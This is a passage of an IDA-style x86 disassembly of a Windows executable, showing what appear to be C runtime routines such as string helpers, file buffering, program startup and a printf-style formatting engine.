loc_40D3A8: ; CODE XREF: sub_40D361+55j mov eax, ebx pop esi loc_40D3AB: ; CODE XREF: sub_40D361+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40D3AF: ; CODE XREF: sub_40D361+36j cmp edi, [ebp+arg_0] jnz short loc_40D3A5 xor ebx, ebx jmp short loc_40D3A8 sub_40D361 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3C0 proc near ; CODE XREF: sub_406BAB+198Fp ; sub_406BAB+19ADp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_40D3E1 xor eax, eax jmp short loc_40D3E3 ; --------------------------------------------------------------------------- loc_40D3E1: ; CODE XREF: sub_40D3C0+1Bj mov eax, edi loc_40D3E3: ; CODE XREF: sub_40D3C0+1Fj cld pop edi leave retn sub_40D3C0 endp ; =============== S U B R O U T I N E ======================================= sub_40D3E7 proc near ; CODE XREF: sub_406BAB+1789p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4170DC ; DeleteFileA test eax, eax jnz short loc_40D3FD call dword_417044 ; RtlGetLastWin32Error jmp short loc_40D3FF ; --------------------------------------------------------------------------- loc_40D3FD: ; CODE XREF: sub_40D3E7+Cj xor eax, eax loc_40D3FF: ; CODE XREF: sub_40D3E7+14j test eax, eax jz short loc_40D40E push eax call sub_411C26 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40D40E: ; CODE XREF: sub_40D3E7+1Aj xor eax, eax retn sub_40D3E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D411 proc near ; CODE XREF: sub_406BAB+16F5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4124A9 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D768 push [ebp+arg_0] mov edi, eax push esi call sub_412536 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_40D411 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D450 proc near ; CODE XREF: sub_406BAB+7A4p ; sub_40A573+2ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_40D481 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_40D47F jz short loc_40D481 dec ecx dec ecx loc_40D47F: ; CODE XREF: sub_40D450+29j not ecx loc_40D481: ; CODE XREF: sub_40D450+9j ; sub_40D450+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_40D450 endp ; =============== S U B R O U T I N E ======================================= sub_40D488 proc near ; CODE XREF: sub_40A573+2E2p ; sub_40A573+42Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_40D504 mov edi, [esp+8+arg_8] test edi, edi jz short loc_40D4A7 cmp edi, 1 jz short loc_40D4A7 cmp edi, 2 jnz short loc_40D504 loc_40D4A7: ; CODE XREF: sub_40D488+13j ; sub_40D488+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_40D4BE push esi call sub_41260D add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_40D4BE: ; CODE XREF: sub_40D488+27j push esi call sub_41169D mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_40D4D3 and al, 0FCh mov [esi+0Ch], eax jmp short loc_40D4E7 ; --------------------------------------------------------------------------- loc_40D4D3: ; CODE XREF: sub_40D488+42j test al, 1 jz short loc_40D4E7 test al, 8 jz short loc_40D4E7 test ah, 4 jnz short loc_40D4E7 mov dword ptr [esi+18h], 200h loc_40D4E7: ; CODE XREF: sub_40D488+49j ; sub_40D488+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_412573 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_40D511 ; --------------------------------------------------------------------------- loc_40D504: ; CODE XREF: sub_40D488+Bj ; sub_40D488+1Dj mov dword_47F914, 16h or eax, 0FFFFFFFFh loc_40D511: ; CODE XREF: sub_40D488+7Aj pop edi pop esi retn sub_40D488 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D514 proc near ; CODE XREF: start-2167j var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417638 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_417124 ; GetVersion xor edx, edx mov dl, ah mov dword_47F92C, edx mov ecx, eax and ecx, 0FFh mov dword_47F928, ecx shl ecx, 8 add ecx, edx mov dword_47F924, ecx shr eax, 10h mov dword_47F920, eax xor esi, esi push esi call sub_40EBB3 pop ecx test eax, eax jnz short loc_40D580 push 1Ch call sub_40D62F pop ecx loc_40D580: ; CODE XREF: sub_40D514+62j mov [ebp+var_4], esi call sub_412D79 call dword_417120 ; GetCommandLineA mov dword_480F8C, eax call sub_412C47 mov dword_47F960, eax call sub_4129FA call sub_412941 call sub_40D118 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_41711C ; GetStartupInfoA call sub_4128E9 mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_40D5CD movzx eax, [ebp+var_2C] jmp short loc_40D5D0 ; --------------------------------------------------------------------------- loc_40D5CD: ; CODE XREF: sub_40D514+B1j push 0Ah pop eax loc_40D5D0: ; CODE XREF: sub_40D514+B7j push eax push [ebp+var_64] push esi push esi call dword_41708C ; GetModuleHandleA push eax call sub_406422 mov [ebp+var_60], eax push eax call sub_40D145 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_412765 pop ecx pop ecx retn sub_40D514 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_40D156 ; =============== S U B R O U T I N E ======================================= sub_40D60A proc near ; CODE XREF: sub_40C212+16p ; sub_412941+4Ep ... arg_0 = dword ptr 4 cmp dword_47F968, 1 jnz short loc_40D618 call sub_413004 loc_40D618: ; CODE XREF: sub_40D60A+7j push [esp+arg_0] call sub_41303D push 0FFh call off_41DBF0 pop ecx pop ecx retn sub_40D60A endp ; =============== S U B R O U T I N E ======================================= sub_40D62F proc near ; CODE XREF: sub_40D514+66p arg_0 = dword ptr 4 cmp dword_47F968, 1 jnz short loc_40D63D call sub_413004 loc_40D63D: ; CODE XREF: sub_40D62F+7j push [esp+arg_0] call sub_41303D pop ecx push 0FFh call dword_41706C ; ExitProcess retn sub_40D62F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D653 proc near ; CODE XREF: sub_40B0B3+46p ; sub_40BDE7+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_40D75C test al, 40h jnz loc_40D75C test al, 1 jz short loc_40D68B and dword ptr [esi+4], 0 test al, 10h jz loc_40D75C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_40D68B: ; CODE XREF: sub_40D653+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_40D6C5 cmp esi, offset dword_420330 jz short loc_40D6B3 cmp esi, offset dword_420350 jnz short loc_40D6BE loc_40D6B3: ; CODE XREF: sub_40D653+56j push ebx call sub_413381 test eax, eax pop ecx jnz short loc_40D6C5 loc_40D6BE: ; CODE XREF: sub_40D653+5Ej push esi call sub_41333D pop ecx loc_40D6C5: ; CODE XREF: sub_40D653+4Ej ; sub_40D653+69j test word ptr [esi+0Ch], 108h push edi jz short loc_40D732 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_40D6F5 push edi push eax push ebx call sub_413190 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_40D728 ; --------------------------------------------------------------------------- loc_40D6F5: ; CODE XREF: sub_40D653+90j cmp ebx, 0FFFFFFFFh jz short loc_40D710 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_480C40[eax*4] lea eax, [eax+ecx*8] jmp short loc_40D715 ; --------------------------------------------------------------------------- loc_40D710: ; CODE XREF: sub_40D653+A5j mov eax, offset dword_420278 loc_40D715: ; CODE XREF: sub_40D653+BBj test byte ptr [eax+4], 20h jz short loc_40D728 push 2 push 0 push ebx call sub_412573 add esp, 0Ch loc_40D728: ; CODE XREF: sub_40D653+A0j ; sub_40D653+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_40D746 ; --------------------------------------------------------------------------- loc_40D732: ; CODE XREF: sub_40D653+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_413190 add esp, 0Ch mov [ebp+arg_4], eax loc_40D746: ; CODE XREF: sub_40D653+DDj cmp [ebp+arg_4], edi pop edi jz short loc_40D752 or dword ptr [esi+0Ch], 20h jmp short loc_40D761 ; --------------------------------------------------------------------------- loc_40D752: ; CODE XREF: sub_40D653+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_40D764 ; --------------------------------------------------------------------------- loc_40D75C: ; CODE XREF: sub_40D653+10j ; sub_40D653+18j ... or al, 20h mov [esi+0Ch], eax loc_40D761: ; CODE XREF: sub_40D653+FDj or eax, 0FFFFFFFFh loc_40D764: ; CODE XREF: sub_40D653+107j pop esi pop ebx pop ebp retn sub_40D653 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D768 proc near ; CODE XREF: sub_40B0B3+29p ; sub_40BDE7+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_40DE81 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_40D79C ; --------------------------------------------------------------------------- loc_40D794: ; CODE XREF: sub_40D768+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_40D79C: ; CODE XREF: sub_40D768+2Aj cmp [ebp+var_14], edx jl loc_40DE81 cmp bl, 20h jl short loc_40D7BD cmp bl, 78h jg short loc_40D7BD movsx eax, bl mov al, byte_417624[eax] and eax, 0Fh jmp short loc_40D7BF ; --------------------------------------------------------------------------- loc_40D7BD: ; CODE XREF: sub_40D768+40j ; sub_40D768+45j xor eax, eax loc_40D7BF: ; CODE XREF: sub_40D768+53j movsx eax, byte_417644[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_40DE70 ; default jmp off_40DE89[eax*4] ; switch jump loc_40D7DD: ; DATA XREF: .nsp0:off_40DE89o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0040D7D6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D7F8: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o movsx eax, bl ; jumptable 0040D7D6 case 2 sub eax, 20h jz short loc_40D83B sub eax, 3 jz short loc_40D832 sub eax, 8 jz short loc_40D829 dec eax dec eax jz short loc_40D820 sub eax, 3 jnz loc_40DE70 ; default or [ebp+var_4], 8 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D820: ; CODE XREF: sub_40D768+A4j or [ebp+var_4], 4 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D829: ; CODE XREF: sub_40D768+A0j or [ebp+var_4], 1 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D832: ; CODE XREF: sub_40D768+9Bj or byte ptr [ebp+var_4], 80h jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D83B: ; CODE XREF: sub_40D768+96j or [ebp+var_4], 2 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D844: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o cmp bl, 2Ah ; jumptable 0040D7D6 case 3 jnz short loc_40D86C lea eax, [ebp+arg_8] push eax call sub_40DF47 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_40DE70 ; default or [ebp+var_4], 4 neg eax loc_40D864: ; CODE XREF: sub_40D768+111j mov [ebp+var_20], eax jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D86C: ; CODE XREF: sub_40D768+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_40D864 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o mov [ebp+var_10], edx ; jumptable 0040D7D6 case 4 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D883: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o cmp bl, 2Ah ; jumptable 0040D7D6 case 5 jnz short loc_40D8A6 lea eax, [ebp+arg_8] push eax call sub_40DF47 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_40DE70 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D8A6: ; CODE XREF: sub_40D768+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D8B8: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o cmp bl, 49h ; jumptable 0040D7D6 case 6 jz short loc_40D8EB cmp bl, 68h jz short loc_40D8E2 cmp bl, 6Ch jz short loc_40D8D9 cmp bl, 77h jnz loc_40DE70 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D8D9: ; CODE XREF: sub_40D768+15Dj or [ebp+var_4], 10h jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D8E2: ; CODE XREF: sub_40D768+158j or [ebp+var_4], 20h jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D8EB: ; CODE XREF: sub_40D768+153j cmp byte ptr [edi], 36h jnz short loc_40D904 cmp byte ptr [edi+1], 34h jnz short loc_40D904 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D904: ; CODE XREF: sub_40D768+186j ; sub_40D768+18Cj mov [ebp+var_30], edx loc_40D907: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o mov ecx, off_41FD78 ; jumptable 0040D7D6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_40D933 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_40DEA9 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_40D933: ; CODE XREF: sub_40D768+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_40DEA9 add esp, 0Ch jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40D94B: ; CODE XREF: sub_40D768+6Ej ; DATA XREF: .nsp0:off_40DE89o movsx eax, bl ; jumptable 0040D7D6 case 7 cmp eax, 67h jg loc_40DB73 cmp eax, 65h jge loc_40D9F6 cmp eax, 58h jg loc_40DA54 jz loc_40DBE7 sub eax, 43h jz loc_40DA17 dec eax dec eax jz short loc_40D9EC dec eax dec eax jz short loc_40D9EC sub eax, 0Ch jnz loc_40DD72 test word ptr [ebp+var_4], 830h jnz short loc_40D995 or byte ptr [ebp+var_4+1], 8 loc_40D995: ; CODE XREF: sub_40D768+227j ; sub_40D768+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_40D9A2 mov esi, 7FFFFFFFh loc_40D9A2: ; CODE XREF: sub_40D768+233j lea eax, [ebp+arg_8] push eax call sub_40DF47 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_40DBBB test ecx, ecx jnz short loc_40D9CA mov ecx, off_41DBFC mov [ebp+var_8], ecx loc_40D9CA: ; CODE XREF: sub_40D768+257j mov [ebp+var_24], 1 mov eax, ecx loc_40D9D3: ; CODE XREF: sub_40D768+282j mov edx, esi dec esi test edx, edx jz loc_40DBB2 cmp word ptr [eax], 0 jz loc_40DBB2 inc eax inc eax jmp short loc_40D9D3 ; --------------------------------------------------------------------------- loc_40D9EC: ; CODE XREF: sub_40D768+212j ; sub_40D768+216j mov [ebp+var_34], 1 add bl, 20h loc_40D9F6: ; CODE XREF: sub_40D768+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_40DADA mov [ebp+var_10], 6 jmp loc_40DAE8 ; --------------------------------------------------------------------------- loc_40DA17: ; CODE XREF: sub_40D768+20Aj test word ptr [ebp+var_4], 830h jnz short loc_40DA23 or byte ptr [ebp+var_4+1], 8 loc_40DA23: ; CODE XREF: sub_40D768+2B5j ; sub_40D768+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_40DA6A call sub_40DF64 push eax lea eax, [ebp+var_248] push eax call sub_413460 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_40DA7D mov [ebp+var_28], 1 jmp short loc_40DA7D ; --------------------------------------------------------------------------- loc_40DA54: ; CODE XREF: sub_40D768+1FBj sub eax, 5Ah jz short loc_40DA8B sub eax, 9 jz short loc_40DA23 dec eax jz loc_40DC4D jmp loc_40DD72 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D768+2C5j call sub_40DF47 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_40DA7D: ; CODE XREF: sub_40D768+2E1j ; sub_40D768+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_40DD72 ; --------------------------------------------------------------------------- loc_40DA8B: ; CODE XREF: sub_40D768+2EFj lea eax, [ebp+arg_8] push eax call sub_40DF47 test eax, eax pop ecx jz short loc_40DACC mov ecx, [eax+4] test ecx, ecx jz short loc_40DACC test byte ptr [ebp+var_4+1], 8 jz short loc_40DABD movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_40DD72 ; --------------------------------------------------------------------------- loc_40DABD: ; CODE XREF: sub_40D768+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_40DD6F ; --------------------------------------------------------------------------- loc_40DACC: ; CODE XREF: sub_40D768+32Fj ; sub_40D768+336j mov eax, off_41DBF8 mov [ebp+var_8], eax push eax jmp loc_40DB68 ; --------------------------------------------------------------------------- loc_40DADA: ; CODE XREF: sub_40D768+29Dj jnz short loc_40DAE8 cmp bl, 67h jnz short loc_40DAE8 mov [ebp+var_10], 1 loc_40DAE8: ; CODE XREF: sub_40D768+2AAj ; sub_40D768:loc_40DADAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_41FD50 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_40DB3A cmp [ebp+var_10], 0 jnz short loc_40DB3A lea eax, [ebp+var_248] push eax call off_41FD5C pop ecx loc_40DB3A: ; CODE XREF: sub_40D768+3BCj ; sub_40D768+3C2j cmp bl, 67h jnz short loc_40DB51 test esi, esi jnz short loc_40DB51 lea eax, [ebp+var_248] push eax call off_41FD54 pop ecx loc_40DB51: ; CODE XREF: sub_40D768+3D5j ; sub_40D768+3D9j cmp [ebp+var_248], 2Dh jnz short loc_40DB67 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_40DB67: ; CODE XREF: sub_40D768+3F0j push edi loc_40DB68: ; CODE XREF: sub_40D768+36Dj call sub_40B5B0 pop ecx jmp loc_40DD6F ; --------------------------------------------------------------------------- loc_40DB73: ; CODE XREF: sub_40D768+1E9j sub eax, 69h jz loc_40DC4D sub eax, 5 jz loc_40DC23 dec eax jz loc_40DC10 dec eax jz short loc_40DBE0 sub eax, 3 jz loc_40D995 dec eax dec eax jz loc_40DC51 sub eax, 3 jnz loc_40DD72 mov [ebp+var_2C], 27h jmp short loc_40DBEE ; --------------------------------------------------------------------------- loc_40DBB2: ; CODE XREF: sub_40D768+270j ; sub_40D768+27Aj sub eax, ecx sar eax, 1 jmp loc_40DD6F ; --------------------------------------------------------------------------- loc_40DBBB: ; CODE XREF: sub_40D768+24Fj test ecx, ecx jnz short loc_40DBC8 mov ecx, off_41DBF8 mov [ebp+var_8], ecx loc_40DBC8: ; CODE XREF: sub_40D768+455j mov eax, ecx loc_40DBCA: ; CODE XREF: sub_40D768+46Fj mov edx, esi dec esi test edx, edx jz short loc_40DBD9 cmp byte ptr [eax], 0 jz short loc_40DBD9 inc eax jmp short loc_40DBCA ; --------------------------------------------------------------------------- loc_40DBD9: ; CODE XREF: sub_40D768+467j ; sub_40D768+46Cj sub eax, ecx jmp loc_40DD6F ; --------------------------------------------------------------------------- loc_40DBE0: ; CODE XREF: sub_40D768+425j mov [ebp+var_10], 8 loc_40DBE7: ; CODE XREF: sub_40D768+201j mov [ebp+var_2C], 7 loc_40DBEE: ; CODE XREF: sub_40D768+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_40DC58 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_40DC58 ; --------------------------------------------------------------------------- loc_40DC10: ; CODE XREF: sub_40D768+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_40DC58 or byte ptr [ebp+var_4+1], 2 jmp short loc_40DC58 ; --------------------------------------------------------------------------- loc_40DC23: ; CODE XREF: sub_40D768+417j lea eax, [ebp+arg_8] push eax call sub_40DF47 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_40DC3C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_40DC41 ; --------------------------------------------------------------------------- loc_40DC3C: ; CODE XREF: sub_40D768+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_40DC41: ; CODE XREF: sub_40D768+4D2j mov [ebp+var_28], 1 jmp loc_40DE70 ; default ; --------------------------------------------------------------------------- loc_40DC4D: ; CODE XREF: sub_40D768+2F7j ; sub_40D768+40Ej or [ebp+var_4], 40h loc_40DC51: ; CODE XREF: sub_40D768+432j mov [ebp+var_C], 0Ah loc_40DC58: ; CODE XREF: sub_40D768+491j ; sub_40D768+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_40DC6A lea eax, [ebp+arg_8] push eax call sub_40DF54 pop ecx jmp short loc_40DCAB ; --------------------------------------------------------------------------- loc_40DC6A: ; CODE XREF: sub_40D768+4F4j test byte ptr [ebp+var_4], 20h jz short loc_40DC91 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_40DC86 call sub_40DF47 pop ecx movsx eax, ax loc_40DC83: ; CODE XREF: sub_40D768+527j ; sub_40D768+539j cdq jmp short loc_40DCAB ; --------------------------------------------------------------------------- loc_40DC86: ; CODE XREF: sub_40D768+510j call sub_40DF47 pop ecx movzx eax, ax jmp short loc_40DC83 ; --------------------------------------------------------------------------- loc_40DC91: ; CODE XREF: sub_40D768+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_40DCA3 call sub_40DF47 pop ecx jmp short loc_40DC83 ; --------------------------------------------------------------------------- loc_40DCA3: ; CODE XREF: sub_40D768+531j call sub_40DF47 pop ecx xor edx, edx loc_40DCAB: ; CODE XREF: sub_40D768+500j ; sub_40D768+51Cj test byte ptr [ebp+var_4], 40h jz short loc_40DCCC test edx, edx jg short loc_40DCCC jl short loc_40DCBB test eax, eax jnb short loc_40DCCC loc_40DCBB: ; CODE XREF: sub_40D768+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_40DCD0 ; --------------------------------------------------------------------------- loc_40DCCC: ; CODE XREF: sub_40D768+547j ; sub_40D768+54Bj ... mov esi, eax mov edi, edx loc_40DCD0: ; CODE XREF: sub_40D768+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_40DCD9 and edi, 0 loc_40DCD9: ; CODE XREF: sub_40D768+56Cj cmp [ebp+var_10], 0 jge short loc_40DCE8 mov [ebp+var_10], 1 jmp short loc_40DCEC ; --------------------------------------------------------------------------- loc_40DCE8: ; CODE XREF: sub_40D768+575j and [ebp+var_4], 0FFFFFFF7h loc_40DCEC: ; CODE XREF: sub_40D768+57Ej mov eax, esi or eax, edi jnz short loc_40DCF6 and [ebp+var_1C], 0 loc_40DCF6: ; CODE XREF: sub_40D768+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_40DCFC: ; CODE XREF: sub_40D768+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_40DD0C mov eax, esi or eax, edi jz short loc_40DD47 loc_40DD0C: ; CODE XREF: sub_40D768+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_40C880 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_40C810 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_40DD3D add ebx, [ebp+var_2C] loc_40DD3D: ; CODE XREF: sub_40D768+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_40DCFC ; --------------------------------------------------------------------------- loc_40DD47: ; CODE XREF: sub_40D768+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_40DD72 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_40DD65 test eax, eax jnz short loc_40DD72 loc_40DD65: ; CODE XREF: sub_40D768+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_40DD6F: ; CODE XREF: sub_40D768+35Fj ; sub_40D768+406j ... mov [ebp+var_C], eax loc_40DD72: ; CODE XREF: sub_40D768+21Bj ; sub_40D768+2FDj ... cmp [ebp+var_28], 0 jnz loc_40DE70 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_40DDAA test bh, 1 jz short loc_40DD8F mov [ebp+var_16], 2Dh jmp short loc_40DDA3 ; --------------------------------------------------------------------------- loc_40DD8F: ; CODE XREF: sub_40D768+61Fj test bl, 1 jz short loc_40DD9A mov [ebp+var_16], 2Bh jmp short loc_40DDA3 ; --------------------------------------------------------------------------- loc_40DD9A: ; CODE XREF: sub_40D768+62Aj test bl, 2 jz short loc_40DDAA mov [ebp+var_16], 20h loc_40DDA3: ; CODE XREF: sub_40D768+625j ; sub_40D768+630j mov [ebp+var_1C], 1 loc_40DDAA: ; CODE XREF: sub_40D768+61Aj ; sub_40D768+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_40DDCA lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_40DEDE add esp, 10h loc_40DDCA: ; CODE XREF: sub_40D768+64Ej lea eax, [ebp+var_14] push eax lea 